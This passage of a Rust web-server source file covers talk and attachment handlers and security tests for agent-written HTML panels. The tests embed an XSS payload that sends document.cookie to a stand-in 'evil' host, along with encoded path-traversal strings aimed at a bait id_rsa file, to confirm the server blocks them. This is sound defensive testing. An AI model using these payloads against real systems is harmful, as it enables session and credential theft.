5952 if !talk.status.open() {
5953 return Err(ApiError::conflict(format!(
5954 "talk {} is {} and takes no more turns",
5955 talk.short(),
5956 talk.status.as_str()
5957 )));
5958 }
5959 if !talk::edit_pending_text(
5960 &mut talk,
5961 &ui.talks,
5962 &body.text,
5963 &body.expected_text,
5964 &body.expected_attachments,
5965 )? {
5966 return Err(ApiError::conflict(
5967 "queued message changed; reload it before editing",
5968 ));
5969 }
5970 let claim = match ui.begin_queued_talk_turn(&id)? {
5971 Some(turn_guard) => {
5972 let (cfg, _) = Config::discover(&talk.repo, None)?;
5973 Some((talk.clone(), cfg, id.clone(), turn_guard))
5974 }
5975 None => None,
5976 };
5977 let thinking = ui.is_thinking(&id);
5978 Ok((TalkView::new(talk, thinking), claim))
5979 }
5980 })
5981 .await?;
5982 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
5983 let talks = ui.talks.clone();
5984 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5985 }
5986 Ok(Json(view))
5987}
5988
5989#[derive(Debug, Deserialize)]
5991struct TalkAgent {
5992 agent: String,
5993}
5994
5995async fn talk_agent(
6000 State(ui): State<Arc<Ui>>,
6001 Path(id): Path<String>,
6002 Json(body): Json<TalkAgent>,
6003) -> ApiResult<Json<TalkView>> {
6004 let id = {
6005 let ui = Arc::clone(&ui);
6006 blocking(move || resolve_talk(&ui.talks, &id)).await?
6007 };
6008 let repo = {
6009 let ui = Arc::clone(&ui);
6010 let id = id.clone();
6011 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6012 };
6013 let cfg = config_for(&repo).await?;
6014 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6015 return Err(ApiError::conflict(
6016 "a talk turn is running; change the agent once it has answered",
6017 ));
6018 };
6019 let switched = {
6020 let ui = Arc::clone(&ui);
6021 let id = id.clone();
6022 let cfg = cfg.clone();
6023 blocking(move || {
6024 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6025 .map_err(ApiError::bad_request_from)?;
6026 let mut talk = ui.talks.get(&id)?;
6027 if !talk.status.open() {
6028 return Err(ApiError::conflict(format!(
6029 "talk {} is {} and takes no more turns",
6030 talk.short(),
6031 talk.status.as_str()
6032 )));
6033 }
6034 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6035 Ok(talk)
6036 })
6037 .await
6038 };
6039 let fresh = {
6044 let ui = Arc::clone(&ui);
6045 let id = id.clone();
6046 blocking(move || Ok(ui.talks.get(&id)?)).await
6047 };
6048 let draining = match fresh {
6049 Ok(talk) => {
6050 let draining = talk.status.open()
6051 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6052 let talks = ui.talks.clone();
6053 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6054 draining
6055 }
6056 Err(_) => false,
6057 };
6058 let talk = switched?;
6059 Ok(Json(TalkView::new(talk, draining)))
6060}
6061
6062async fn talk_close(
6064 State(ui): State<Arc<Ui>>,
6065 Path(id): Path<String>,
6066) -> ApiResult<Json<TalkView>> {
6067 blocking(move || {
6068 let id = resolve_talk(&ui.talks, &id)?;
6069 let mut talk = ui.talks.get(&id)?;
6070 talk::close(&mut talk, &ui.talks)?;
6071 let thinking = ui.is_thinking(&talk.id);
6072 Ok(Json(TalkView::new(talk, thinking)))
6073 })
6074 .await
6075}
6076
6077async fn talk_reopen(
6079 State(ui): State<Arc<Ui>>,
6080 Path(id): Path<String>,
6081) -> ApiResult<Json<TalkView>> {
6082 blocking(move || {
6083 let id = resolve_talk(&ui.talks, &id)?;
6084 let mut talk = ui.talks.get(&id)?;
6085 talk::reopen(&mut talk, &ui.talks)?;
6086 let thinking = ui.is_thinking(&talk.id);
6087 Ok(Json(TalkView::new(talk, thinking)))
6088 })
6089 .await
6090}
6091
6092async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6102 blocking(move || {
6103 let id = resolve_talk(&ui.talks, &id)?;
6104 ui.talks.remove(&id)?;
6105 Ok(StatusCode::NO_CONTENT)
6106 })
6107 .await
6108}
6109
6110fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6112 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6113}
6114
6115async fn talk_attachment_post(
6118 State(ui): State<Arc<Ui>>,
6119 Path(id): Path<String>,
6120 headers: HeaderMap,
6121 body: Bytes,
6122) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6123 let mime = validate_attachment(&headers, &body)?;
6124 let name = filename_header(&headers);
6125 let data = body.to_vec();
6126 blocking(move || {
6127 let id = resolve_talk(&ui.talks, &id)?;
6128 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6129 Ok((StatusCode::CREATED, Json(att)))
6130 })
6131 .await
6132}
6133
6134async fn talk_attachment_get(
6137 State(ui): State<Arc<Ui>>,
6138 Path((id, att)): Path<(String, String)>,
6139) -> ApiResult<Response> {
6140 blocking(move || {
6141 let id = resolve_talk(&ui.talks, &id)?;
6142 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6143 return Err(ApiError::not_found(format!(
6144 "talk {id} has no attachment `{att}`"
6145 )));
6146 };
6147 Ok(attachment_response(&meta.mime, data))
6148 })
6149 .await
6150}
6151
6152fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6163 if data.len() > ATTACHMENT_MAX_BYTES {
6164 return Err(ApiError::bad_request(format!(
6165 "attachment is {} bytes, over the {} MiB limit",
6166 data.len(),
6167 ATTACHMENT_MAX_BYTES / (1024 * 1024)
6168 ))
6169 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6170 }
6171 if data.is_empty() {
6172 return Err(ApiError::bad_request("attachment is empty"));
6173 }
6174 let declared = declared_mime(headers)?;
6175 match sniffed_mime(data) {
6176 Some(sniffed) if sniffed == declared => Ok(declared),
6177 Some(sniffed) => Err(ApiError::bad_request(format!(
6178 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6179 ))),
6180 None => Err(ApiError::bad_request(
6181 "the file's bytes do not match any accepted image format",
6182 )),
6183 }
6184}
6185
6186fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6190 let raw = headers
6191 .get(header::CONTENT_TYPE)
6192 .and_then(|v| v.to_str().ok())
6193 .unwrap_or("")
6194 .split(';')
6195 .next()
6196 .unwrap_or("")
6197 .trim()
6198 .to_ascii_lowercase();
6199 ATTACHMENT_MIME_WHITELIST
6200 .iter()
6201 .find(|&&m| m == raw)
6202 .copied()
6203 .ok_or_else(|| {
6204 if raw == "image/svg+xml" {
6205 ApiError::bad_request(
6206 "SVG is not accepted: it can carry active content (e.g. a <script>), \
6207 not just a picture",
6208 )
6209 } else if raw.is_empty() {
6210 ApiError::bad_request("Content-Type is required for an attachment upload")
6211 } else {
6212 ApiError::bad_request(format!(
6213 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
6214 image/gif or image/webp"
6215 ))
6216 }
6217 })
6218}
6219
6220fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
6223 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
6224 Some("image/png")
6225 } else if data.starts_with(b"\xff\xd8\xff") {
6226 Some("image/jpeg")
6227 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
6228 Some("image/gif")
6229 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
6230 Some("image/webp")
6231 } else {
6232 None
6233 }
6234}
6235
6236fn filename_header(headers: &HeaderMap) -> String {
6242 headers
6243 .get(FILENAME_HEADER)
6244 .and_then(|v| v.to_str().ok())
6245 .map(str::trim)
6246 .filter(|s| !s.is_empty())
6247 .unwrap_or("attachment")
6248 .to_owned()
6249}
6250
6251fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
6258 let content_type = ATTACHMENT_MIME_WHITELIST
6259 .iter()
6260 .find(|&&m| m == mime)
6261 .copied()
6262 .unwrap_or("application/octet-stream");
6263 (
6264 [
6265 (header::CONTENT_TYPE, content_type),
6266 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6267 ],
6268 body,
6269 )
6270 .into_response()
6271}
6272
6273async fn config_for(repo: &FsPath) -> ApiResult<Config> {
6281 let repo = repo.to_path_buf();
6282 blocking(move || {
6283 let (cfg, _) = Config::discover(&repo, None)?;
6284 Ok(cfg)
6285 })
6286 .await
6287}
6288
6289fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
6295 let mut hits = ids
6296 .into_iter()
6297 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
6298 match (hits.next(), hits.next()) {
6299 (Some(one), None) => Ok(one),
6300 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
6301 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
6302 "`{prefix}` matches more than one {what}, including {a} and {b}"
6303 ))),
6304 }
6305}
6306
6307#[cfg(test)]
6308mod tests {
6309
6310 #[test]
6311 fn holder_reads_the_lease_not_the_record() {
6312 let mut q = Question::new(
6313 "run".to_owned(),
6314 "implement".to_owned(),
6315 "impl-A".to_owned(),
6316 "which?".to_owned(),
6317 String::new(),
6318 Vec::new(),
6319 );
6320 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
6321 q.cwd = Some("/tmp".to_owned());
6322 assert_eq!(holder_of(&q, None), Some("nobody"));
6323 let beat = |kind, ago: i64| ask::Lease {
6324 kind,
6325 pid: 1,
6326 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
6327 .unwrap(),
6328 };
6329 let fresh = beat(ask::WaiterKind::Asker, 1);
6330 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
6331 let daemon = beat(ask::WaiterKind::Daemon, 1);
6332 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
6333 let stale = beat(ask::WaiterKind::Asker, 3600);
6334 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
6335
6336 let mut c = Question::new(
6339 "task".to_owned(),
6340 crate::conduct::NODE.to_owned(),
6341 "conduct".to_owned(),
6342 "which?".to_owned(),
6343 String::new(),
6344 Vec::new(),
6345 );
6346 assert_eq!(holder_of(&c, None), Some("nobody"));
6347 c.cwd = Some("/tmp".to_owned());
6348 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
6349 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
6350 let deputy = beat(ask::WaiterKind::Deputy, 1);
6351 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
6352 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
6353
6354 let mut m = Question::new(
6357 "run".to_owned(),
6358 crate::land::APPROVAL_NODE.to_owned(),
6359 "land".to_owned(),
6360 "merge?".to_owned(),
6361 String::new(),
6362 Vec::new(),
6363 );
6364 assert_eq!(holder_of(&m, None), Some("nobody"));
6365 assert_eq!(
6366 holder_of(&m, Some(&fresh)),
6367 Some("nobody"),
6368 "a lease with no deputy is not a listener"
6369 );
6370 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
6371 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
6372 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
6373 assert_eq!(holder_of(&m, None), Some("nobody"));
6374 }
6375
6376 #[test]
6377 fn deputies_enabled_follows_the_config() {
6378 let on = Config {
6381 agents: vec![crate::config::AgentSpec {
6382 id: "stub".to_owned(),
6383 kind: AgentKind::Command,
6384 model: None,
6385 command: vec!["true".to_owned()],
6386 extra_args: Vec::new(),
6387 env: Default::default(),
6388 prompt_delivery: None,
6389 }],
6390 ..Config::default()
6391 };
6392 assert!(crate::deputy::can_start(Some(&on), ""));
6393 assert!(crate::deputy::can_start(Some(&on), "stub"));
6394 let mut off = on.clone();
6395 off.daemon.max_deputies = 0;
6396 assert!(!crate::deputy::can_start(Some(&off), ""));
6397 let mut empty = on;
6398 empty.agents.clear();
6399 assert!(!crate::deputy::can_start(Some(&empty), ""));
6400 assert!(!crate::deputy::can_start(None, ""));
6401 }
6402
6403 use pretty_assertions::assert_eq;
6404 use serde_json::Value;
6405 use tempfile::TempDir;
6406 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
6407
6408 use super::*;
6409 use crate::config::Config;
6410 use crate::queue::Source;
6411
6412 const SETTLE_STEPS: usize = 3_000;
6423
6424 struct Fixture {
6430 home: TempDir,
6431 addr: SocketAddr,
6432 }
6433
6434 impl Fixture {
6435 async fn start() -> Self {
6436 Self::with_loop(launch_idle).await
6437 }
6438
6439 async fn with_loop(launch: Launch) -> Self {
6441 let home = TempDir::new().expect("temp home");
6442 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
6443 Self { home, addr }
6444 }
6445
6446 async fn with_repo(repo: PathBuf) -> Self {
6450 let home = TempDir::new().expect("temp home");
6451 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
6452 Self { home, addr }
6453 }
6454
6455 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
6458 let home = TempDir::new().expect("temp home");
6459 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
6460 Self { home, addr }
6461 }
6462
6463 async fn serve(
6464 home: &FsPath,
6465 repo: PathBuf,
6466 launch: Launch,
6467 machine: Option<PathBuf>,
6468 ) -> SocketAddr {
6469 let queue = Queue::at(home.join("queue"));
6470 let runs = home.join("runs");
6471 std::fs::create_dir_all(&runs).expect("runs dir");
6472 let worktrees = home.join("wt").join("magi");
6473 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
6474 let ui = Ui::new(
6475 queue,
6476 Questions::at(home.join("questions")),
6477 Talks::at(home.join("talks")),
6478 runs,
6479 home.to_path_buf(),
6480 repo,
6481 )
6482 .with_worktrees_root(worktrees)
6483 .with_machine_config(machine)
6484 .with_launch(launch);
6485 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6486 .await
6487 .expect("bind loopback");
6488 let addr = listener.local_addr().expect("local addr");
6489 tokio::spawn(async move {
6490 let _ = axum::serve(listener, ui.router()).await;
6491 });
6492 addr
6493 }
6494
6495 fn queue(&self) -> Queue {
6496 Queue::at(self.home.path().join("queue"))
6497 }
6498
6499 fn questions(&self) -> Questions {
6500 Questions::at(self.home.path().join("questions"))
6501 }
6502
6503 fn talks(&self) -> Talks {
6504 Talks::at(self.home.path().join("talks"))
6505 }
6506
6507 fn runs(&self) -> PathBuf {
6508 self.home.path().join("runs")
6509 }
6510
6511 async fn get(&self, path: &str) -> Res {
6512 request(self.addr, "GET", path, None).await
6513 }
6514
6515 async fn head(&self, path: &str) -> Res {
6520 request(self.addr, "HEAD", path, None).await
6521 }
6522
6523 async fn post(&self, path: &str, body: Option<&str>) -> Res {
6524 request(self.addr, "POST", path, body).await
6525 }
6526
6527 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
6528 request_with(self.addr, "GET", path, None, extra).await
6529 }
6530
6531 async fn delete(&self, path: &str) -> Res {
6532 request(self.addr, "DELETE", path, None).await
6533 }
6534
6535 async fn put(&self, path: &str, body: &str) -> Res {
6536 request(self.addr, "PUT", path, Some(body)).await
6537 }
6538
6539 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
6541 request_bytes(self.addr, path, headers, body).await
6542 }
6543 }
6544
6545 struct Res {
6546 status: u16,
6547 headers: String,
6548 head: String,
6553 body: String,
6554 bytes: Vec<u8>,
6558 }
6559
6560 impl Res {
6561 fn json(&self) -> Value {
6562 serde_json::from_str(&self.body)
6563 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
6564 }
6565
6566 fn header(&self, name: &str) -> Option<&str> {
6568 self.head.lines().find_map(|line| {
6569 let (key, value) = line.split_once(':')?;
6570 key.trim()
6571 .eq_ignore_ascii_case(name)
6572 .then(|| value.trim_start().trim_end_matches('\r'))
6573 })
6574 }
6575 }
6576
6577 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
6580 request_with(addr, method, path, body, &[]).await
6581 }
6582
6583 async fn request_with(
6587 addr: SocketAddr,
6588 method: &str,
6589 path: &str,
6590 body: Option<&str>,
6591 extra: &[(&str, &str)],
6592 ) -> Res {
6593 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
6594 for (name, value) in extra {
6595 head.push_str(&format!("{name}: {value}\r\n"));
6596 }
6597 if let Some(body) = body {
6598 head.push_str("Content-Type: application/json\r\n");
6599 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
6600 }
6601 head.push_str("\r\n");
6602 if let Some(body) = body {
6603 head.push_str(body);
6604 }
6605 let mut socket = tokio::net::TcpStream::connect(addr)
6606 .await
6607 .expect("connect to the test server");
6608 socket
6609 .write_all(head.as_bytes())
6610 .await
6611 .expect("write request");
6612 let mut raw = Vec::new();
6613 socket.read_to_end(&mut raw).await.expect("read response");
6614 let split = raw
6617 .windows(4)
6618 .position(|w| w == b"\r\n\r\n")
6619 .expect("a header block");
6620 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
6621 let bytes = raw[split + 4..].to_vec();
6622 let status = head
6623 .lines()
6624 .next()
6625 .and_then(|line| line.split_whitespace().nth(1))
6626 .and_then(|code| code.parse().ok())
6627 .expect("a status line");
6628 Res {
6629 status,
6630 headers: head.to_lowercase(),
6631 head,
6632 body: String::from_utf8_lossy(&bytes).into_owned(),
6633 bytes,
6634 }
6635 }
6636
6637 async fn request_bytes(
6643 addr: SocketAddr,
6644 path: &str,
6645 headers: &[(&str, &str)],
6646 body: &[u8],
6647 ) -> Res {
6648 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
6649 for (name, value) in headers {
6650 head.push_str(&format!("{name}: {value}\r\n"));
6651 }
6652 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
6653 let mut socket = tokio::net::TcpStream::connect(addr)
6654 .await
6655 .expect("connect to the test server");
6656 socket
6657 .write_all(head.as_bytes())
6658 .await
6659 .expect("write request head");
6660 socket.write_all(body).await.expect("write request body");
6661 let mut raw = Vec::new();
6662 socket.read_to_end(&mut raw).await.expect("read response");
6663 let split = raw
6664 .windows(4)
6665 .position(|w| w == b"\r\n\r\n")
6666 .expect("a header block");
6667 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
6668 let bytes = raw[split + 4..].to_vec();
6669 let status = head
6670 .lines()
6671 .next()
6672 .and_then(|line| line.split_whitespace().nth(1))
6673 .and_then(|code| code.parse().ok())
6674 .expect("a status line");
6675 Res {
6676 status,
6677 headers: head.to_lowercase(),
6678 head,
6679 body: String::from_utf8_lossy(&bytes).into_owned(),
6680 bytes,
6681 }
6682 }
6683
6684 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
6686 let mut state = RunState::new(
6687 PathBuf::from("/repo/magi"),
6688 "main".to_owned(),
6689 "0123456789abcdef".to_owned(),
6690 "Add a web UI\n\nMobile first.".to_owned(),
6691 Config::default(),
6692 );
6693 state.id = id.to_owned();
6694 state.status = status;
6695 let dir = runs.join(id);
6696 std::fs::create_dir_all(&dir).expect("run dir");
6697 std::fs::write(
6698 dir.join("run.json"),
6699 serde_json::to_string_pretty(&state).expect("serialize run"),
6700 )
6701 .expect("write run.json");
6702 }
6703
6704 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
6708 let mut state = RunState::new(
6709 PathBuf::from(repo),
6710 "main".to_owned(),
6711 "0123456789abcdef".to_owned(),
6712 "task".to_owned(),
6713 Config::default(),
6714 );
6715 state.id = id.to_owned();
6716 state.status = status;
6717 let dir = runs.join(id);
6718 std::fs::create_dir_all(&dir).expect("run dir");
6719 std::fs::write(
6720 dir.join("run.json"),
6721 serde_json::to_string_pretty(&state).expect("serialize run"),
6722 )
6723 .expect("write run.json");
6724 }
6725
6726 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
6727 let body = serde_json::json!({
6728 "schema": 1,
6729 "pid": 4242,
6730 "started_at": Timestamp::now().to_string(),
6731 "updated_at": updated_at.to_string(),
6732 "idle": false,
6733 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
6734 "completed": 7,
6735 "polls": 143,
6736 });
6737 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
6738 }
6739
6740 fn launch_idle(
6750 _opts: daemon::Opts,
6751 stop: daemon::Stop,
6752 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6753 Box::pin(async move {
6754 while !stop.stopped() {
6755 tokio::time::sleep(Duration::from_millis(2)).await;
6756 }
6757 Ok(())
6758 })
6759 }
6760
6761 fn launch_broken(
6764 _opts: daemon::Opts,
6765 _stop: daemon::Stop,
6766 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6767 Box::pin(async {
6768 Err(anyhow::anyhow!(
6769 "publish the daemon status file: read-only file system"
6770 ))
6771 })
6772 }
6773
6774 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
6781 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
6782
6783 fn launch_knocking_on_the_way_out(
6790 _opts: daemon::Opts,
6791 stop: daemon::Stop,
6792 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6793 Box::pin(async move {
6794 while !stop.stopped() {
6795 tokio::time::sleep(Duration::from_millis(2)).await;
6796 }
6797 let addr = PARK_KNOCK
6798 .lock()
6799 .expect("park knock")
6800 .expect("the test set an address");
6801 let heard = request(addr, "GET", "/api/health", None).await.status;
6802 *PARK_HEARD.lock().expect("park heard") = Some(heard);
6803 Ok(())
6804 })
6805 }
6806
6807 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
6816 for _ in 0..SETTLE_STEPS {
6817 let view = fx.get("/api/loop").await.json();
6818 if want(&view) {
6819 return view;
6820 }
6821 tokio::time::sleep(Duration::from_millis(10)).await;
6822 }
6823 panic!(
6824 "the loop never settled: {}",
6825 fx.get("/api/loop").await.json()
6826 );
6827 }
6828
6829 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
6831 let store = fx.questions();
6832 let mut q = Question::new(
6833 "20260902-000000-beef".to_owned(),
6834 "implement".to_owned(),
6835 "impl-A".to_owned(),
6836 summary.to_owned(),
6837 "because it matters".to_owned(),
6838 choices.iter().map(|c| (*c).to_owned()).collect(),
6839 );
6840 store.put(&mut q).expect("put question");
6841 q.id
6842 }
6843
6844 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
6850 let store = fx.questions();
6851 let mut q = Question::new(
6852 "20260902-000000-beef".to_owned(),
6853 "land".to_owned(),
6854 "fix".to_owned(),
6855 "Merge this?".to_owned(),
6856 "the diff is in the panel".to_owned(),
6857 vec!["merge".to_owned(), "hold".to_owned()],
6858 );
6859 let staging = fx.home.path().join("staging");
6862 std::fs::create_dir_all(&staging).expect("staging dir");
6863 let sources: Vec<PathBuf> = assets
6864 .iter()
6865 .map(|(name, bytes)| {
6866 let path = staging.join(name);
6867 std::fs::write(&path, bytes).expect("write staged asset");
6868 path
6869 })
6870 .collect();
6871 store
6872 .put_panel(&mut q, html, &sources)
6873 .expect("write the panel");
6874 store.put(&mut q).expect("put question");
6875 q.id
6876 }
6877
6878 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
6887 let store = fx.talks();
6888 std::fs::create_dir_all(store.root()).expect("talks dir");
6889 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
6890 .expect("serialize a seat");
6891 let body = serde_json::json!({
6892 "schema": 1,
6893 "id": id,
6894 "repo": "/repo/magi",
6895 "agent": "mock",
6896 "status": status,
6897 "turns": [],
6898 "created_at": Timestamp::now().to_string(),
6899 "updated_at": Timestamp::now().to_string(),
6900 "seat": seat,
6901 });
6902 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
6903 store.get(id).expect("the seeded talk has to be readable");
6904 id.to_owned()
6905 }
6906
6907 #[tokio::test]
6908 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
6909 let fx = Fixture::start().await;
6910 let id = panel(
6911 &fx,
6912 "<h1>Merge?</h1><img src=\"diff.svg\">",
6913 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
6914 );
6915
6916 for path in [
6917 format!("/api/questions/{id}/panel"),
6918 format!("/api/questions/{id}/asset/diff.svg"),
6919 ] {
6920 let res = fx.get(&path).await;
6921 assert_eq!(res.status, 200, "{path}: {}", res.body);
6922 assert_eq!(
6928 res.header("content-security-policy"),
6929 Some(
6930 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
6931 font-src data:; base-uri 'none'; form-action 'none'; \
6932 frame-ancestors 'self'"
6933 ),
6934 "{path} is the only thing between a hostile panel and the tailnet"
6935 );
6936 assert_eq!(
6937 res.header("x-content-type-options"),
6938 Some("nosniff"),
6939 "{path}: a browser must not re-decide the type we sent"
6940 );
6941 assert_eq!(
6942 res.header("referrer-policy"),
6943 Some("no-referrer"),
6944 "{path}: a panel must not leak the question id off the machine"
6945 );
6946
6947 let pre = fx.head(&path).await;
6952 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
6953 assert_eq!(
6954 pre.header("content-security-policy"),
6955 res.header("content-security-policy"),
6956 "{path}: the preflight carries the same policy"
6957 );
6958 assert_eq!(
6959 pre.header("content-type"),
6960 res.header("content-type"),
6961 "{path}: the preflight carries the same type"
6962 );
6963 }
6964 }
6965
6966 #[tokio::test]
6967 async fn a_panel_reaches_the_browser_byte_for_byte() {
6968 let fx = Fixture::start().await;
6969 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
6974 let id = panel(&fx, html, &[]);
6975
6976 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
6977
6978 assert_eq!(res.status, 200);
6979 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
6980 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
6981 assert_eq!(
6982 res.header("content-disposition"),
6983 None,
6984 "the panel itself is rendered in the frame, not downloaded"
6985 );
6986 }
6987
6988 #[tokio::test]
6989 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
6990 let fx = Fixture::start().await;
6991 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
6992 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
6993 let id = panel(
6994 &fx,
6995 "<img src=\"diff.svg\"><img src=\"shot.png\">",
6996 &[("diff.svg", svg), ("shot.png", png)],
6997 );
6998
6999 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7000 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7001
7002 assert_eq!(as_svg.status, 200);
7003 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7004 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7009
7010 assert_eq!(as_png.status, 200);
7011 assert_eq!(as_png.header("content-type"), Some("image/png"));
7012 assert_eq!(
7013 as_png.header("content-disposition"),
7014 None,
7015 "a raster image has no execution surface, so tapping it still shows it"
7016 );
7017 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7018 }
7019
7020 #[tokio::test]
7021 async fn an_html_asset_is_never_served_as_html() {
7022 let fx = Fixture::start().await;
7023 let id = panel(
7024 &fx,
7025 "<p>see the notes</p>",
7026 &[
7027 (
7028 "notes.html",
7029 b"<script>fetch('http://evil/'+document.cookie)</script>",
7030 ),
7031 ("hook.js", b"fetch('http://evil/')"),
7032 ("data.json", b"{}"),
7033 ("HEADLINE.TXT", b"plain"),
7034 ],
7035 );
7036
7037 for name in ["notes.html", "hook.js", "data.json"] {
7038 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7039 assert_eq!(res.status, 200, "{name}: {}", res.body);
7040 assert_eq!(
7045 res.header("content-type"),
7046 Some("application/octet-stream"),
7047 "{name} must not be a type the browser will execute or render"
7048 );
7049 }
7050 let txt = fx
7053 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7054 .await;
7055 assert_eq!(
7056 txt.header("content-type"),
7057 Some("text/plain; charset=utf-8")
7058 );
7059 }
7060
7061 #[tokio::test]
7062 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7063 let fx = Fixture::start().await;
7064 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7065 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7069
7070 for encoded in [
7077 "%2e%2e%2fid_rsa",
7078 "..%2fid_rsa",
7079 "..%5cid_rsa",
7080 "%2e%2e%5cid_rsa",
7081 "diff%00.svg",
7082 "..",
7083 ".hidden",
7084 "%2e%2e%2f%2e%2e%2fid_rsa",
7085 ] {
7086 let res = fx
7087 .get(&format!("/api/questions/{id}/asset/{encoded}"))
7088 .await;
7089 assert_eq!(
7090 res.status, 400,
7091 "`{encoded}` has to be refused by name, not looked up: {}",
7092 res.body
7093 );
7094 assert!(res.json()["error"].is_string(), "{}", res.body);
7095 }
7096
7097 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7103 let res = fx
7104 .get(&format!("/api/questions/{id}/asset/{literal}"))
7105 .await;
7106 assert_eq!(
7107 res.status, 404,
7108 "`{literal}` must not match the asset route at all: {}",
7109 res.body
7110 );
7111 }
7112 }
7113
7114 #[tokio::test]
7115 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7116 let fx = Fixture::start().await;
